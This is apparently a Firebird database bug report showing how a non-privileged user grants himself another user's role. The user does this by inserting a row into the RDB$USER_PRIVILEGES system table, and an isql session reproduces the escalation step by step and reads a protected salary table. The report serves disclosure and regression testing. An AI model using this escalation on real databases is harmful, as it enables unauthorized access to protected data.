Non-privileged user can grant other's role to himself [CORE4341] #4663
Labels
affect-version: 2.1.0
affect-version: 2.1.1
affect-version: 2.1.2
affect-version: 2.1.3
affect-version: 2.1.4
affect-version: 2.1.5 Update 1
affect-version: 2.1.5
affect-version: 2.5.0
affect-version: 2.5.1
affect-version: 2.5.2 Update 1
affect-version: 2.5.2
affect-version: 3.0 Alpha 1
affect-version: 3.0 Alpha 2
component: engine
component: security
priority: major
qa: covered by another tests
type: bug
Submitted by: @pavel-zotov
Votes: 1
SQL> create database 'sec.fdb';
SQL> drop user boss; -- if exists...
SQL> drop user zero; -- if exists...
SQL> create user boss password 'boss'; -- this user CAN access to some data
SQL> create user zero password 'zero'; -- this is non-privileged user
SQL> create role rboss;
SQL> create role rzero;
SQL> grant rboss to boss;
SQL> grant rzero to zero;
SQL> create table salary(id int, s int);
SQL> insert into salary values(1, 1000);
SQL> commit;
SQL> grant all on salary to rboss; -- we grant access only to this role; NOT to role 'RZERO' !
SQL> commit;
SQL> quit;
----------------
-- now check that user BOSS can view and edit table SALARY via role RBOSS:
$ /opt/fb30trnk/bin/isql /var/db/fb30/sec.fdb -user boss -pas boss -role RBOSS
Database: /var/db/fb30/sec.fdb, User: boss, Role: RBOSS
SQL> set list on;
SQL> select current_user,current_role from rdb$database;
USER BOSS
ROLE RBOSS
SQL> select * from salary;
ID 1
S 1000
SQL> update salary set s=2000 where id=1;
SQL> insert into salary values(2,2222);
SQL> commit;
SQL> select * from salary;
ID 1
S 2000
ID 2
S 2222
-- that's OK.
SQL> exit;
-------------------------------------
-- now connect as non-privileged user 'ZERO' (specifying his role is optional; result is the same):
$ /opt/fb30trnk/bin/isql /var/db/fb30/sec.fdb -user zero -pas zero
Database: /var/db/fb30/sec.fdb, User: zero
SQL> show role;
RBOSS RZERO
SQL> show table;
SALARY
SQL> select * from salary;
Statement failed, SQLSTATE = 28000
no permission for SELECT access to TABLE SALARY -- OK, it should be such
-- and now we insert new record in system table RDB$USER_PRIVILEGES (we CAN do this!)
-- NB: we can add row either NOT specifying value for RDB$GRANTOR field or set it = 'ZERO' (i.e. current user):
SQL> insert into rdb$user_privileges(rdb$user,rdb$privilege,rdb$relation_name,rdb$user_type,rdb$object_type)
CON> values( 'ZERO', 'M', 'RBOSS', 8, 13 ); -- PASSED! Why ??
SQL> commit;
SQL> connect '/var/db/fb30/sec.fdb' user zero password 'zero' role 'RBOSS';
Database: '/var/db/fb30/sec.fdb', User: zero, Role: RBOSS
SQL> set list on;
SQL> select current_user,current_role from rdb$database;
USER ZERO -- i'm connect as non-privileged user...
ROLE RBOSS -- ...but i HAVE grated to role of the BOSS (and I did it myself)
-- final check:
SQL> select * from salary;
ID 1
S 2000
ID 2
S 2222
SQL> show version;
ISQL Version: LI-T3.0.0.30876 Firebird 3.0 Alpha 2
Server version:
Firebird/Linux/AMD/Intel/x64 (access method), version "LI-T3.0.0.30876 Firebird 3.0 Alpha 2"
on disk structure version 12.0
====== Test Details ======
See test for CORE4731 ("Prohibit an ability to issue DML or DDL statements on RDB$ tables").
Currently (31-aug-2020) there are only 23 statements which can do direct modification against RDB$ tables and must be allowed - see them in core_4731.fbt
No table RDB$USER_PRIVILEGES among them.
The text was updated successfully, but these errors were encountered: